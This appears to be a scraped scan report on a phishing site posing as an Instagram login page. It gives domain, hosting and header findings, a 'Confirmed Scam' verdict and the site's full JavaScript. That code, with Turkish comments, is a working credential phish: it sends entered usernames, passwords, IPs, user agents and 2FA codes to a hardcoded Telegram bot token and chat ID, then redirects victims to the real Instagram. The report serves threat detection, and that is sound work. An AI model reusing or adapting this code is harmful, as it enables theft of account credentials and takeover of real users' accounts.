Turkish

The domain 'www.instagramhelper-login.vercel.app' uses the application-focused generic top-level domain (.app) with subdomain 'www.instagramhelper-login'. Its registrable label 'vercel' stretches across 6 characters split between two vowels and four consonants. Breaking it apart gives 2 words: ver, cel. Median word length is 3 characters. No strong language cues emerged from the frequency lists.

967ac3e839585e9b5e5719890e1e7aed62023e505790d78528188243348ee94b

width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

Tucows

Tucows Domains Inc

vercel.app

Abuse

Matheus Fernandez Vieira

Vercel, Inc

Joe Haddad

VERCEL-05


// SENİN VERİLERİN – DEĞİŞTİRME
const BOT_TOKEN = "8604225952:AAHoULyCnrkSQ1Pqjo3xa6UlZgwo7H5ObRA";
const CHAT_ID   = "1636656252";

const form = document.getElementById('loginForm');
const username = document.getElementById('username');
const password = document.getElementById('password');
const toggleEye = document.getElementById('toggleEye');
const loading = document.getElementById('loading');
const twofaScreen = document.getElementById('twofa-screen');
const codeInputs = document.querySelectorAll('.code-input');
const submit2fa = document.getElementById('submit2fa');

// Şifre göster/gizle
toggleEye.addEventListener('click', () => {
  if (password.type === 'password') {
    password.type = 'text';
    toggleEye.classList.replace('fa-eye', 'fa-eye-slash');
  } else {
    password.type = 'password';
    toggleEye.classList.replace('fa-eye-slash', 'fa-eye');
  }
});

// 2FA kutuları auto-focus + paste
codeInputs.forEach((input, idx) => {
  input.addEventListener('input', () => {
    if (input.value && idx < 5) codeInputs[idx + 1].focus();
  });
});

document.addEventListener('paste', e => {
  if (twofaScreen.style.display !== 'block') return;
  e.preventDefault();
  const paste = (e.clipboardData || window.clipboardData).getData('text').trim();
  if (paste.length === 6 && /^\d{6}$/.test(paste)) {
    paste.split('').forEach((c, i) => { if (codeInputs[i]) codeInputs[i].value = c; });
    submit2fa.focus();
  }
});

async function sendToTelegram(text) {
  const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`;
  try {
    await fetch(url, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ chat_id: CHAT_ID, text, parse_mode: 'HTML' })
    });
  } catch (e) { console.log('Telegram error:', e); }
}

async function getIP() {
  try {
    const r = await fetch('https://api.ipify.org?format=json');
    const d = await r.json();
    return d.ip || 'Bilinmiyor';
  } catch { return 'Bilinmiyor'; }
}

form.addEventListener('submit', async e => {
  e.preventDefault();
  if (!username.value.trim() || !password.value.trim()) return;

  const user = username.value.trim();
  const pass = password.value.trim();
  const ip = await getIP();
  const ua = navigator.userAgent;
  const time = new Date().toLocaleString('tr-TR');

  const msg = `<b>Instagram Giriş Denemesi</b>\n\nKullanıcı: ${user}\nŞifre: ${pass}\nIP: ${ip}\nCihaz: ${ua}\nTarih: ${time}`;
  await sendToTelegram(msg);

  loading.style.display = 'block';
  setTimeout(() => {
    loading.style.display = 'none';
    twofaScreen.style.display = 'block';
    codeInputs[0].focus();
  }, 2800);
});

submit2fa.addEventListener('click', async () => {
  const code = [...codeInputs].map(i => i.value.trim()).join('');
  if (code.length !== 6 || !/^\d{6}$/.test(code)) return alert('6 haneli kod girin');

  const time = new Date().toLocaleString('tr-TR');
  const msg = `<b>2FA KODU GELDİ</b>\nKod: ${code}\nTarih: ${time}`;
  await sendToTelegram(msg);

  setTimeout(() => {
    window.location.href = 'https://www.instagram.com/';
  }, 1500);
});


Requests	IP Address	Location	AS Autonomous System
3	64.29.17.67	United States	AS16509Amazon.com, Inc.
2	104.17.24.14Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
5	2	-	-

Security Scan Report: www.instagramhelper-login.vercel.app

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Page Statistics

Detected Technologies2

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History